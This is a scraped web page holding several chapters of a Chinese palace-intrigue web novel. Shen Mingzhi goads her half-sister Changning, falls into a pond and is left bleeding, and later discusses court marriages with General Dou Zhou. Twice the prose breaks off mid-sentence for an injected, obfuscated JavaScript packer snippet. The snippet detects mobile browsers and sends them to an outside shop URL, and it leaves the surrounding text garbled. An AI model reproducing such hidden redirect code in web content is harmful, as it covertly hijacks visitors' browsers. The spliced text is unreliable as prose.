怒极畏极反而展颜,沈明枳冷硬的口气不觉软了下来,似是随意在哄一个孩子,“谁教你这么说的?或者,这事情是谁告诉你的?你母妃没脑子想不了这么多,她若自以为抓住了我的把柄,早就宣扬得满城风雨——那么,是窦晴柔吗?” 沈明枳的目光游离于她的周身,见长宁的唇角情不自禁地蔑视一撇,她自己也应当没有注意,可这细微的动作分毫不差地落入了沈明枳的眼中,“我忘了,你们姑嫂关系并不和睦,她也瞧不上你的性子,她若知道了什么秘密,告诉谁也不会告诉你。” 长宁的胸口剧烈起伏,显然是怒火攻心,气到了极点,但沈明枳从不惧于将她这把火烧上天,因为她的火气再大,也燎不穿天幕、烫不出洞:“你哥哥赵王就更不可能了,告诉了你,岂不是让你平白生事?他们现在对你唯一的指望,就是安安分分地出塞和亲,不要再给他添乱!” “这些话,非亲近信赖之人说不出,如果他们都不是,就凭你的心性,天下有谁会愿意你与亲近?难不成是你那十来岁的长英小妹妹?算了吧,她从小被窦晴柔接出了宫,带在身边亲自教养,窦晴柔好歹也是名门贵女,有见识有魄力,她亲自养出来的女孩,冰清玉洁又聪明过人,你哥哥他们对她都寄予厚望,她怎会傻傻与你同流合污?” 长宁终于忍不住爆发了:“够了!你给我闭嘴!司马昭之心,你别再掩饰了长平!非皇后之子不为储,太子死了,可养在中宫的还有一个晋王!晋王年少,他们为辅,你为摄,谋划的好一出大戏……” “大戏?”沈明枳一挑眉反斥:“长宁,你现在就被人当作猴耍作戏还不自知!” 长宁却是不管不顾:“长平!你很得意啊,跑到父皇跟前将我一军,还打算将整座王府一军,隔墙有耳,三尺神明在天!你以为你的伎俩没人看得出来吗?” 疯魔了。 沈明枳的目光从她头上松松垂下的金簪掠过,冷冷问她:“你还打算怎么激怒我?” 长宁一怔,转而挺起脊梁:“是,我就要激怒你!我要让郇海山也看看你真正的一面!” 35. 第三十五章 风徘徊 最后一句被长宁吼得很响,郇寰远远地听得真切,脑海里那根本就紧绷的弦几近崩裂。 沈明枳远远看过郇寰的身影,心腾暴躁,语带讥讽,“真正的一面?你想刺激我杀了你?” 长宁先是一怔,转而又笑了,戟手直指着沈明枳,“那很好,我也就不用去那个腌臜地了!而你!” “而我?” 沈明枳冷静下来,压下嗓音又抛却理智,迎上她的目光步步紧逼,“而我?我怎么了?他们是会杀了我抵命,还是让我去和亲?” 长宁感到她周身气势一变,呼吸一窒,踉跄着退了一步。 “南海道十五次刺杀,你哥哥他们又筹谋了几次?他们想再杀我一次,无妨,尽管来,我恭候大驾。” 长宁又退了一步,觉得原本牢牢攥在自己手上的那把决定死生的刀,不知不觉中落在她的手中,而她,正要向自己劈来。她不过大了自己四岁,却好似多钻研了四辈子的阴谋诡计! “如果去和亲,我也会甘之如饴。好歹得有人去义律,告慰一下我那孤家寡人的大姐姐。” 一瞬。 两瞬。 三瞬。 是了,她懂了。 长宁不由得浑身战栗。 眼前的这个人已经不能称之为人了,她是一头被夙恨、旧仇豢养而成的嗜血野兽。深雪匍匐,多年尝胆,为的就是这一天,一口咬断自己的喉咙。可勾搭齐珏让她的姐姐出塞和亲的人是宣国,和她有什么关系? 瞬息,长宁想明白了。 “是你!是你!是你绑了宣国,天子脚下、众目睽睽,你居然就敢这样算计,只是为了给你姐姐出口恶气!不对,你还要给你的孩子报仇!你恨极了她,所以也恨极了我!可我手上什么血也沾,我又哪里对不起你,你要这么害我!” 沈明枳阖上眼,长长吐出一口气,“是啊,你哪里对不起我?我又为何要害你?” 长宁脸上的泪痕干了又湿,现又挂下了莲子大小的泪珠,声音也呜咽起来:“你为什么要害我?你真的太阴毒了,他们都说皇后软弱,太子仁慈,他们怎么会养出你这样的怪物?” “怪物?”头一回听见旁人用这个词形容她,沈明枳有些恍惚,她仰起头不禁回忆起了尘封往事,皇后并不软弱,太子并非仁慈,可自己的的确确是个有非分之想、不刊之念的怪物。她自己心里明镜似的,可话从旁人口中说出,却变了滋味。 “害你?”沈明枳冷笑:“是你自己不争气吧?你心比天高,觉得普天之下除了一个郇海山没人配得上你,作践他、侮辱他、看不上他,张四郎也是人,他也是被父母兄弟捧着长大的,他凭什么要受你的气?就因为你是公主他是庶民?婚姻之事并非儿戏,亏得你兄嫂有权有势,你与张四郎的婚事都板上钉钉了,结果半路杀出了长荣,你怨我?” “父皇那般宠你,都允许你代帝南巡,你在他面前搬弄我的是非,让我代长荣那个小蹄子和亲,他怎会不允!” “若我真有这样的本事我请他杀了宣国他岂会不允!” 长宁蓦然瞪大了眼睛,望着沈明枳宛若目睹地狱修罗在世,木愣着张了张发颤的嘴唇,却吐不出一个字。 “长宁,没有我,也会有别人,不是我,也会是别人,这是公允之言,也是公正之事。你早就知道,他们其实都不关心你、都非真正喜欢你,可你还能过得这么肆无忌惮,这代价你难道不清楚吗?既要又要,天下哪有这么好的买卖。” “你闭嘴!”长宁的眼里已经蓄满泪水,“既要又要?沈明枳,这不就是你吗?你不既有这个又有那个,你不什么都有了吗?你为什么还要加害于我?什么公主重担、天下责任,虚伪之徒又当又立,却要让我去和亲、让我去成全什么名声民心!” 沈明枳被气笑了:“我姐姐去得,你怎么去不得?” 笑过,沈明枳冷脸的样子又让长宁打了一个寒颤:“也罢,你爱怎么想就怎么想,反正要和亲的人是你,你再恨我这个算计你的人,你拿我没有办法,他们也拿我没有办法,更何况——” 全靠着一腔怨气撑到现在的长宁有些撑不住了,“更何况什么,没人喜欢我在乎我关心我爱我?”她终于大声哭了出来:“为了朝堂上的稳定,他们只会让我闭嘴?宣国只会嘲笑我也要沦落?母妃也会毫不犹豫地送我去死?还有长英……” 她边摇着头边眼看着沈明枳,绝无一丝怜悯可惜,只是缓缓地探向她自己的小腹。沈明枳吐出一口气,仿佛所有的犹豫和巽弱都随着这一口气散去,而她继续将套在长宁脖子上的锁链越收越紧:“更何况我怀了郇寰的孩子。” 一息。 两息。 三息。 长宁还沉溺于血亲尽弃、众叛亲离的绝望里,就听见沈明枳靠近的步履之声宛若风过残荷时的轻响,可这般温和动人的声音转眼又变成了裂帛破肤、血溅三尺时的悚然刺耳。长宁惊恐万状地看着沈明枳要来覆自己颤抖不已的手,好似她们姐妹之间,从没有龃龉,从来都是这般亲密无间。 “你要干什么?”她惊叫一声,摔开她的手,一滴泪飞溅到沈明枳脸上的功夫,一个剧烈的踉跄里,那根被故意弄松的金簪“叮铃”一声从发间碰落在了栏杆前的美人榻上。 这一霎那,桥头的郇寰浑身一震。 长宁瞪大了眼睛,思绪急速飞转,但她半个念头还没有过脑,就看见沈明枳骤然扑向自己——不,是那根金簪。 她的血又凉透了。 她还不想死,她并不是真的想死。 不能让她拿到簪子。 她疯了。 长宁抢先伸出手,手指触碰到那股冰凉的时候,她整个人也瞬间冰冻。 沈明枳朝她倾倒而来,她们离得太近了,近到她手中的金簪就如同握在沈明枳手中一般。她尖叫一声,踩上绸缎裙摆的左脚打滑,而她后退的力道很足,本就临近栏杆的两个人就这样,在她无措的一个用力之下,翻过低矮的栏杆,朝池里滚去。 她是个,十足的疯子。 落入水中的前一刻,长宁如是想着。 因为她已经看见了,沈明枳眼中的一抹亮色,似是长夜旷野上的一盏鬼火。 意料之中,她并没有感到任何疼痛,只有落水刹那的混乱让她的口鼻呛入许多冷水。她很小的时候跟着宣国玩闹,结果跌到了水里,就此学会了凫水。摆脱了沈明枳无形的制刳后,她立即浮出了水面,边在水花四溅的池面上寻着沈明枳的身影,边朝岸边游去。 她没有看见沈明枳,但她看见了浮出水面的郇寰,托着一个人靠岸。 水是深色的,天色也不明艳,光线很不好,但长宁就是看清楚了,沈明枳双手紧捂着的地方,全是被水稀释过了的鲜血。 她……她不是怀着郇寰的孩子吗? 这一瞬,长宁发现自己根本不会呼吸,胡乱地喘了几口气后,她看见了郇寰的眼睛,倒映着的是和池水一样的颜色。 她居然……杀了自己的孩子! 而她用的凶器,是自己的簪子? 她的簪子杀了她的孩子! 长宁不知道脸颊上淌下来的是池水还是眼泪,只是惊魂未定地看着郇寰的背影逐渐消失。远处围着的宫女内监和羽林卫都被这里的声音惊动,周遭逐渐模糊的景色被男男女女、不男不女的人遮住,各式各样的的安慰、惊慌充斥了耳畔……鲜活,一切都鲜活了起来,可长宁已经找不回自己的三魂六魄。 她枯坐了很久,方才恍然:她完了。 没有人会听她解释的,没有人会相信她的,尤其是郇寰。她知道郇寰是喜欢孩子的,他对他家里继母所出的弟弟妹妹甚是疼爱,他以前愿意听自己废话大概也是因为在他眼里,她长宁也是个孩子。 她真的完了。 沈明枳被帝后留在宫中修养了一段时日,那天午后她乘撵出通化门时,就见城门外的通化广场上停着魏王府的马车。在宫里闷坏了的长乐一看见那空旷的广场上,魏王坐在车辀上朝她招手,即刻兴奋成了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514333|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一只兔子,甩开宫女的搀扶,蹦蹦跳跳跑了过去。 “哥哥!” “小心摔跤!”魏王连声让她注意脚下,自己也跳了下来疾步迎了过去。乳燕投林似的,长乐直接扑进了他怀里,勾着魏王的脖子,硬是让自己的哥哥抱着她转了几圈才堪堪落地。 “哥,你怎么才来接我!我等了好久呢!”长乐还搂着魏王的脖子,很埋怨地撇嘴。 魏王一刮她的鼻子:“哥哥有事耽搁了,好吧,为了赔罪,今天哥哥亲自带你去彩衣坊看南边新来的花样——咦?”魏王用手指托着长乐空空的左耳耳垂,“怎么只有一只?” 长乐惊叫一声,连忙从魏王怀里跳了出去,一摸自己的右耳,那嵌宝金蝴蝶衔着的茄形水晶坠还在,而左边那只却不翼而飞,“啊!丢了?” 远远跑来的宫女连忙猫腰到砖缝里面找。 “丢了就丢了,走吧,哥哥带你选新的。” “好!”长乐笑得双眼弯弯,挽着魏王的手一蹦一跳地往马车走。 “找到了!” 魏王与长乐一齐回首,就见那名宫女高高举着那枚耳坠子,水晶折射着日光潋滟着璀璨,越过这炫目的光彩,魏王一眼看见了正在下撵的沈明枳和一路亲自相送的阴阳卫指挥使窦宇。 环顾四周,魏王这才注意到街边低调处停着兖国公主府的马车,护卫俨然,而通化门内随窦宇鱼贯而出的一队阴阳卫甲胄在身,竟也随着窦宇走到了马车左右,看样子,是圣上下令让阴阳卫护送沈明枳出宫。 长乐的五官拧了起来,“父皇居然拨了阴阳卫给她驾车。” 魏王颔首还了沈明枳的示礼,无声受了窦宇等的拜见,长乐则是背过身一言不发地爬上了马车。等人散了,魏王这才收敛了心思,笑着跳上车拽了缰绳:“阿槿别气了,哥哥给你驾车如何?” 瞬息过后,长乐一把拉开车门,气鼓鼓地命令魏王上车:“我又没生气!她也是可怜,父皇偏疼她一点情有可原。” 魏王笑着将缰绳还到了车夫手里,坐进了车厢,轻轻拧了一把长乐还垮着的脸蛋,“你不生气?你不生气那天下就没人会生气了。” 长乐推开魏王的手,再次强调:“真没有!这次我真觉得她确实可怜。” 魏王看着她眼中的真诚,心情复杂起来。俗话说可怜之人必有可恨之处,且沈明枳这个人,确实可恨,但无论如何也说不上可怜。就比如这次,他这个傻妹妹还傻愣愣替她可怜,可她沈明枳呢,和赵王他们合计着要坑他们,若非长宁是个不开窍的,居然不哭不闹一口应下了就是她心中嫉恨、要谋害沈明枳,和亲在即,圣上便用雷霆手段将事情地压了下来,不然一旦发酵,赵王派的名声臭了,义律不要长宁了,被迫顶缸的人就是他的长乐! 长乐已然兴冲冲说起了今秋化隆城里最时兴的花样,眼中尽是未染世俗的天真快乐,丝毫不知道她说的“可怜”二字背后有多少未然的冰刀霜剑。魏王心中叹息,还是将这些繁杂心思抛出了车外,“下午逛过之后,哥哥带你去会芳池边走走,哥哥给你准备了一个小礼物。” “是马吗!” “阿瑾真聪明,那马是哥哥托人从草原上带来的,阿槿不是也想骑一骑草原上的马么,只可惜化隆附近草场大都一般,只有上林苑勉强比得关外……” “啊!马儿叫什么名字?是红色还是白色的?比我人还高吗?他们说马儿……” 孟冬十月,北风徘徊,天气肃清,繁霜霏霏。 鵾鸡晨鸣,鸿雁南飞,鸷鸟潜藏,熊罴窟栖。 和亲进行得很顺利,由陆微出任靖臣将军,担任主使护送队伍出关,并就此驻留西北保卫门户。仪式操办得很隆重,比之多年前长安公主出塞有过之而无不及,可宁晨铎于夹道百姓中望着旌旗蔽空,军马骑士列队左右,金甲银枪、礼炮齐鸣,却倍觉羞辱。 所幸凤仪彩车直出关外的人不是沈明枳。 宁晨铎携了书卷曲谱,重回拴在冷巷里的马边,驰骋直出兴化门。 36. 第三十六章 世尘下 夕阳在山,一片珊瑚灼海,将双塔寺的佛殿云堂捧成了纸上圣境、人间天堂。宁晨铎由小沙弥引着拐入了后院僻静的一排寮房,他朝小沙弥道谢,循着琴音叩响了其中一间的门板。琴声断而脚步响,房门一开,宁晨铎就见朱遗温盘坐于屋中的禅床上,刚从琴上抬头,一边宁玉尘翻着谱子的手一顿,语气不是那么和善:“没听见在正弹到精妙处吗?不会在门外等上一等?外头的风有这么冷?” 宁晨铎进门朝朱遗温一礼,并不理会宁玉尘的讥讽,径直走向禅床,将怀里包得精心的曲谱书卷递了过去,“先生请看,这是不是遗思公子的旧物。” 朱遗温双手接过,小心翻了翻,既错愕又惊喜地抬头望向宁晨铎,“正是家兄笔迹,宁公子从何得来?” 宁晨铎放心地笑了,自己找了一张板凳坐下,接过侍女沏上的热茶,“禁中乐府。” 宁玉尘一把合上谱子,神情严肃:“是公主给你的。” 宁晨铎端着茶杯的手一顿,朱遗温也看了过来。他也不管茶还是烫的,一口气饮完,只觉得身子重新暖了起来,方才放下了温热的茶杯,“是。” 宁玉尘的声音冰冰凉,却比不过宁晨铎听到她的话语后的心凉:“宁七,你这是打算乘虚而入。” 朱遗温被这话吓得木楞原地,宁晨铎瞥了一眼朱遗温想要回避的脸色,看向宁玉尘:“这些话回去再说。” 宁玉尘追逼:“你居然没有否认!” “不是这样的……” 朱遗温刚要起身,宁玉尘仍盯着宁晨铎越来越红的一张脸,出声阻止:“祝先生不用回避,你迟早都会知道——宁七,此非君子所为。” 越忙着要解释,舌头就越像打了结,只是一会儿的功夫,宁晨铎的额角就渗出了细密的汗,朱遗温叹了一口气,宁玉尘鲜见地纡尊降贵给他倒了一杯已经有些凉了的茶:“你不会这么做,可你有这个心。还掩饰什么,你每天从书院回来就捧着那把琴看,别人是‘醉里挑灯看剑’,伤的是金戈铁马的往事山河,你呢,你在伤心些什么——祝先生,你现在知道羊左之琴究竟是谁慨然相赠的了。” 朱遗温只觉得手中旧书如火中之栗,实在烫手。 宁晨铎被旧情新火反复拉扯,有些生气了:“宁玉尘,未知全貌不要置评,延请祝先生、寻遗思公子手稿,这些都是公主的意思,她不便出面,就托我转交,仅此而已。” 宁玉尘冷笑:“仅此而已?是,她想要的是‘羊左之交’,你是羊角哀,她是左伯桃,所以她找你是坦荡,是仅此而已,可你想的是吹箫引凤、攀桂乘龙。弹琴谈情,宁七,你不要会错了她的意。” 宁晨铎将杯中冷茶再度饮尽,只觉得一路向下,他整个人都随着这股寒意蜷缩了起来。他霍然起身,朝朱遗温拜道:“是,瞒了先生许久,还望先生见谅。公主她身份特殊,近来身体不适,所以久久不能相见。她……她不是公卿王侯,也曾痴琴醉琴极其懂琴,祝先生答应相见的话可还作数?” 朱遗温看向了别过脸兀自生气的宁玉尘,无奈叹气,起身回礼:“当然算数。” 宁晨铎心里的石头落地,表情略微松动,再施一礼就要告退,刚走到门边,就见宁玉尘翻着手边曲谱岿然不动,不由得住足,“天黑了,阿姐不回去吗?今日再不去回去,母亲就要亲自来抓人了。” “你管好自己吧,我的事就不劳你操心了。” 宁晨铎不再多说,再朝朱遗温施礼,旋即推门而出。他走了不过几十步都快出后院了,心觉不对,赶忙折返回去。他本想敲门的,可鬼使神差地,他轻轻一推,门开了,就见朱遗温与宁玉尘并肩坐在一处,共同看着桌上摊开的曲谱,都是聚精会神的模样,可宁玉尘的手却压在朱遗温翻页的手上,紧紧相贴,久久不动。 侍女背对着他们在门旁的小火炉上煎茶,突然见宁晨铎推门回来了,不由得惊叫一声,状似读曲实则神游天外的两个人瞬间回神,各自抽回了手。 读个谱子尚且如此,若真弹着琴不知得成什么样子。 “宁玉尘!”宁晨铎头一次这么大声地说话,就是冲她发火。 宁玉尘腾地一下从板凳上站起,直白地迎上宁晨铎的双目,倒是朱遗温,愧疚地垂下了头。 “你们在做什么?”宁晨铎实在不能向朱遗温发火,只能责问宁玉尘:“原来你说不用回避,是这个意思。” 宁玉尘坦然,也很硬气:“就是你看到的这样,也就是你理解的这样。” “他是外男!你和他……” “对,我就是喜欢他。” 宁晨铎瞳孔巨震,难以置信地看看朱遗温又不敢相信地看看宁玉尘。 “我宁玉尘这辈子除了喜欢琴,从没对别的东西别的人上过心——”她侧过身看向缓缓抬起头的朱遗温,“他是头一个,也是最后一个,所以——”宁玉尘重新直视兀自震惊得回不过神的宁晨铎,“所以我要和他在一起,一辈子也不离开。” “可是父亲母亲他们绝对不会同意你们成亲的!” “谁说就要成亲?” 闻言,宁晨铎如遭雷劈,看向宁玉尘的眼神里多了一种他自己都没意识到的仰望,可当他看向了被宁玉尘剖心告白拨弄得心绪不定、四海潮生的朱遗温时,他的眼里便是山重海深的谴责。 “你们要私奔?” “何须说得这么难听……” “此非君子所为!”宁晨铎是真的动怒了,“你就算不想想家里,不想想父亲母亲、哥哥嫂嫂、还有族中尚未出嫁的堂姐堂妹,你也要想想你自己!聘则为妻,奔则为妾,你可以超凡出世不要门第,可你想过将来吗?无名无分,真要和家族决裂,你们以后怎么度日?你们的孩子呢?孩子的将来呢?你们一辈子就靠‘琴’活命吗?” 见宁玉尘说不动,宁晨铎冲向了朱遗温:“我姐姐从小是金尊玉贵养大的,皇都里的诰命夫人、中宫的皇后娘娘,哪一个不说她是天上仙女转世下凡。先生琴技是好,琴意也通,与令兄一样是百年不遇的奇才,可是先生,我姐姐和那些乐伶不一样,浪迹江湖、漂泊天涯的日子她如何过得了?她嘴上说着不在乎什么名节名声,可她从小就是被捧出来的……” “宁七!你住口!”宁玉尘挡到了朱遗温身前,“你读书识礼是为了考取功名吗?你考取功名是为了升官发财吗?我本以为你也是极其豁达淡泊之人,而今看来,你也俗得可怕!你于琴意也其实是一窍不通!心为形役,尘世马牛;身被名牵,樊笼鸡鹜。宁七,你也不过如此。” “宁玉尘!” “宁晨铎!若心有天地何处不逢桃源,拘泥虚妄处处皆是地狱!公主是巾帼女子,想的却是须眉乱事,你身而为男却也不愿经纶世务自损心境,所以你多么喜欢她、敬重她、欣赏她、依恋她,你还是不愿为了她去刀山火海地闯、功名利禄地拼!自此我以为,你是最通透的了,而今想想,是我错了,是我高看你了,你只是怕,你怕自己败了、输了、什么都没有了,你怕自己配不上她了、让她失望了,所以你干脆以开始作结,自我了断!” 斯时天色已暮,余晖尽挂,宁晨铎牵马走于旋下的山路,一路听着渐枯的溪水难得淙淙,他不觉出神。 双塔寺下伴行山道有绵绵长溪不绝,唤作相逢溪,是天元帝与原配郅皇后初遇离散又重逢相知的所在。溪水直下,汇至山下则有小泊相连,堤岸齐筑深墙,多为豪绅所置的城外名园,飞红舞翠,笙歌不绝,唯有南面临山一片茂枫垂柳,水边蒹葭苍苍,芦花飘白,更少人烟。 沈明枳在二水间的栖凰山庄便坐落附近。两泊相夹,是为二水。栖凰山庄早年是乔皇后的陪嫁,皇后赏给了故太子,故太子又留给了沈明枳,附近一片山头都是连带在一起的,只有隔壁一座盘山的宅院,是前靖臣将军窦宙的私宅。 窦宙在宁远门外送过了和亲队伍,又与韦不决联袂回了兵部,闲 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13514334|142272||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈少许,处理完差事,见过了窦宇,便飞马出城来到了二水间的私宅。 “窦将军大忙人,竟然能想到来拜访我这个大闲人。”沈明枳笑盈盈坐在胡床之上,合起膝上摊开的皱巴巴的古籍,让他在蒲团上随意坐。 窦宙看着沈明枳满院子的杰作,三分震惊掺杂着说不出的怪异,随后一点心酸让他眼睛发干。他踟躇片刻,无处下脚,正此时凉风渐起,顺势道:“夜里风大,公主进屋吧。” 天确实黑了,沈明枳只得起身,夹着书返回灯光大彻的屋内。 “公主怎么现在也对这些玩意感兴趣?”窦宙亲自把敞着的轩窗合上,朦朦胧胧的暮色就此被隔绝在了屋外。 沈明枳轻笑一声,放下书,却没着急答话,听窦宙笑道:“臣记得这几年,梅学士也很喜欢捣鼓这些——” 沈明枳坐下,朝窦宙比一个“请”的手势,把窦宙不好意思说完的话补充完整:“只是梅大才子马失前蹄,如果让化隆城的姑娘们知道了她们无所不能的梅郎,捏泥巴的水平实在堪忧,大失所望不说,他的一世美名也就要沦为茶余饭后的谈资了。” 窦宙轻声谢过,在沈明枳对面坐了下来,“梅学士在临川任上当知府,看来公主和他见过了。” “是啊,亲自见过了,方才知道此中趣味,的确难为外人说道,不怪他沉迷其中难以自拔,只是啊——” 月珰亲自奉茶,又摆上了三道简单的糕点,随即退下,吩咐人准备晚膳。 窦宙尝了一口热茶,“只是什么?” “只是啊,梅大才子自恃才高,自觉标新立异,但说起来他心思旁落,本未用心于此,凭他的能耐,就算是步人后尘能做到莫辨楮叶、真假难分,也不算难,好歹能拿出几件上得了台面的东西。只可惜他敷衍了事,那就没办法了。” 窦宙笑了:“叫梅学士听见了,要生气的。” “诶。”沈明枳一摆手,将桌上盘中的糕点往窦宙那里再推了推,“年纪上去了,体也胖了心也宽了,不妨事——窦将军尝尝,这些都是南下苏州时寻来的,当地讲究四季茶食、应时细点,春饼、夏糕、秋酥、冬糖季季不同。” 这素色盘子上的糕点精致异常,除了离窦宙最近的那盘,粗白色粉压成的块状,最是朴素。他尝了一口,“臣倒从未尝过这种近乎天然的味道,这是什么东西做的?” “芡实糕,苏州当地采莲楼的名品。” 窦宙吃完,压了一口茶。他心细如发,沈明枳介绍时的一缕不情愿和不自然便是九牛一毫,也被他梳理了出来,他转了话头:“梅学士最重视仪容,他当真胖了?” “你也不信是吧?也就一点点……好吧好吧,我承认,我造谣。”沈明枳笑着摆手,“对了,韦将军是何时娶亲的,怎么京里没有一点风声?” “他们是今年年初约的婚姻,在西北长关全的礼数,毕竟南边有乱,凡事都要低调,便没有广发请帖、通告喜讯。不决的夫人公主见过了?” “是,千秋节那天见的。” 窦宙后悔多嘴提起这一茬,只觉覆水难收,他只能硬着头皮问道:“那公主现在,身子好多了吗?” “是,好很多了,好到和将军赛马都不成问题。” “指不定末将还赛不过公主。” “乱说,将军最会哄我高兴了。不过,将军身体怎么样了?西北艰难,东北苦寒,也不知将军此后又要戍守何处,太医院的御医孙先生是随我与晋王一齐北上的,对付宿疾恶疾都很有法子。” 窦宙摆摆手:“不过是以前落下的老毛病,不用惊动大夫。只是家里的老头子,怕是不成了。” “窦家还在逼你们吗?” 窦宙苦笑:“臣现在就等着丁忧,休息个一年半载,他们对付我也没意义,现在就怕他们拿阿宇的婚事做文章。” 沈明枳略微诧异:“窦指挥使还年轻啊。” 窦宙笑着摇摇头。 37. 第三十七章 来访者 窦宙、窦宇的“窦”就是赵王妃窦晴柔的母家,兄弟俩的身世也几乎就是苏悯身世的翻版。不过,苏悯实打实走的是行伍路,是从边疆的黄土沙子里摔打出来的都督官位,在他得势之前苏家根本没想过他能从死人堆里活着回来;窦氏兄弟不一样,他们的堂伯父窦勤诲有从龙之功,荫蔽祖中子弟入仕轻而易举,窦宙便是承荫入的十二亲军卫。所以,苏悯敢借婚姻摆脱苏家的束缚,现今看来也着实成功,但窦氏兄弟不行,他们连公开宣称脱离家族的念头也不能有。 这就很棘手了。 在这种四面楚歌的情况下,要想得到一门本人各方面都比较满意的婚事,要么极其强大,要么极其走运。强大诸如郇寰,成为族中说一不二的话事人,那便是想站赵王就站赵王、想娶公主就娶公主,谁敢置喙;走运诸如邕国公主驸马赵长和,环堵萧然、室如悬磬,当真是三代以上全是寒门,父母双亡、鲜少叔伯,唯有一个哥哥拉扯他长大成人,只是当年上京科举,在双塔寺外、相逢溪处被出来踏春的邕国一眼相中,春闱过后名列三甲最末流,但好歹有了功名,邕国就到圣上跟前请旨赐婚。 夹在中间的人,几欲窒息。 沈明枳知道窦宙的考量更深。 对于窦宇来说,何时娶妻都不算窘迫,上面有封疆一方的亲哥照看,自己又有本事得圣心,根本用不着指望娶个高门贵女倚靠岳家帮衬走仕途。但他脾气不好,不是有一点不好,而是一点也不好,这些年在圣上身边磨得圆滑了,但骨子里全是倒刺,南巡一路沈明枳深有体会。 这样的人,利刃在手却是孩子心性,在旁人的煽风点火、刻意挑拨之下会做出什么出格的事情,谁也不敢预想。窦家人想用一门充满算计的婚事困住窦宇,以窦宇的性子,若哥哥不在他身边,那就真是板上鱼肉、任人宰割了。 话题越发沉重,沈明枳开始打趣:“哪怕是守制三年,三年后也才不过二十五六,将军你二十五六的时候,还不是被一群姑娘天南地北地追捧着?窦指挥使和你是一个模子里刻出来的,脾气虽不如你,但模样不差,到那时候也不会被冷落的。” 窦宙是个老实人,经不起这样的玩笑,“公主别打趣了,阿宇那个人,公主也明白的,公主小时候臣带他入过宫,公主恐也忘不了他三句气死老师傅的本事,指望着他说几句讨女孩子欢心的话,实在是白日做梦,模样家世都是其次,光是他这性子,怕是要单上一辈子。臣倒是希望他的婚事能拖一拖,或许三年里会有什么变化吧。” 或许三年之后窦家败落,他和窦宇就能如愿逃出生天,或许三年之后他和窦宇殒命,彻底化为尘土。三年不短不长,足够让天地翻覆,也足够消磨了壮士斗志、断送了大好前途。 沈明枳心下又沉重起来。 或许窦宙只是说,或许三年后的窦宇不再是现在这幅猫狗都嫌的孩子模样。 是她想多了。 但她无法不多想。 韦不决低头让步和荥阳郑氏联姻,魏王一派如虎添翼;反观赵王,长宁和亲,还和张家恶交,而长英公主年幼,又不能拉出去联姻。这样一来,局势又变了、平衡又破了,且她揣摩着,苏家抄没,郇寰等人算是把苏悯得罪了干净,这又雪上加霜。 当时她南巡出京,半个化隆城就在魏王手中,她将南巡算作功劳记到赵王头上,郇寰又南下漉水处置了魏王的心腹鄢汝言,几乎把苏悯也收买了,赵王扳回一局更风头大盛。所以她谋划着用宣国的烂账捅赵王一刀,让他们长长心眼;与此同时,临川来信说是长荣与张四郎有了首尾,和亲公主人选变更迫在眉睫,宣国抹黑了赵王派的名声,碍于脸面,无论后来出了什么事情,长宁都不至于被圣上推出去送给义律当礼物,但魏王损失了长乐,一番清算,赵王险胜。 忧劳可以兴国,逸豫可以亡身。赵王处在这样的危局之中,沾沾自喜的同时还会夹着尾巴做人。这便是鬼门关走一遭后,她最得意的盘算。结果她太自以为是了,或者郇寰这帮人太废物,抑或者长宁太不争气,事情最后居然脱缰成了现在这个样子。水满则溢、月满则缺,郇寰南下一趟“欺人太甚”,苏悯被逼急了,也不知他和圣上说了什么,他全须全尾地从御书房里走了出来,赵王在圣上那里却要叫苦连天,所以才会有长宁和亲作为敲打、也是平衡。 圣上那里的算盘是怎么打的,沈明枳不知道,可她眼中的这杆称却彻底歪向了魏王。赵王在朝中虽然有钱有人,但行伍之间无人指望,宣国抢来的靖安侯齐家已经在走下坡路,窦勤诲大限将至,窦宙交了兵权挂了兵部侍郎的虚职,现阴阳卫指挥使窦宇是他的弟弟,但窦氏兄弟是东宫旧臣,现在更都是圣上眼线。 窦氏对付不了油盐不进的窦宙,但拿捏一个心性未定的年轻人易如反掌,而拿捏住了窦宇,就是控制住了窦宙,那就是什么都有了。 沈明枳在心里骂了一声“混账”,面上却不能显露所有的焦躁不安,她仍就亲切和煦,似还在与窦宙话着家常:“将军若实在担心,服阙之后向圣上请旨让窦指挥使随您一道去边塞就好了,十年八年的,眼不见心为净,您当年不也是这么打算的?”沈明枳打趣起来:“也确实有成效,将军若早点娶妻生子,现在估计都可以当爷爷了。我在临川时,梅如故就念叨着说,你们这些故旧怎么各个独身,他想给他家的幺幺结一门知根知底的娃娃亲都找不到一个男娃娃。” 窦宙笑了两声,眼里却有一痕痛楚。 沈明枳刻意掠过他眼中的伤怀,再度打趣:“现在好了,韦将军有了家室,这梅老才子可算有指望了。” “嗳,梅学士着什么急,梅家女不愁嫁,天下人尽皆知。” 想到了梅问香,就想到了胎死腹中的皇孙和年岁不永的太子,两个人都沉默了下去。 “对了,韦将军在西北,和呼延世子有过往来?” “公主怎么问起这个?” 沈明枳微笑:“今日阖城相送使节出京,我虽没有去,但消息却是灵通的,过午临川来了,与我聊了几句,听她说出城前,呼延世子和韦将军好不亲热,想来是韦将军治军为将都很有一套,英雄相惜。” 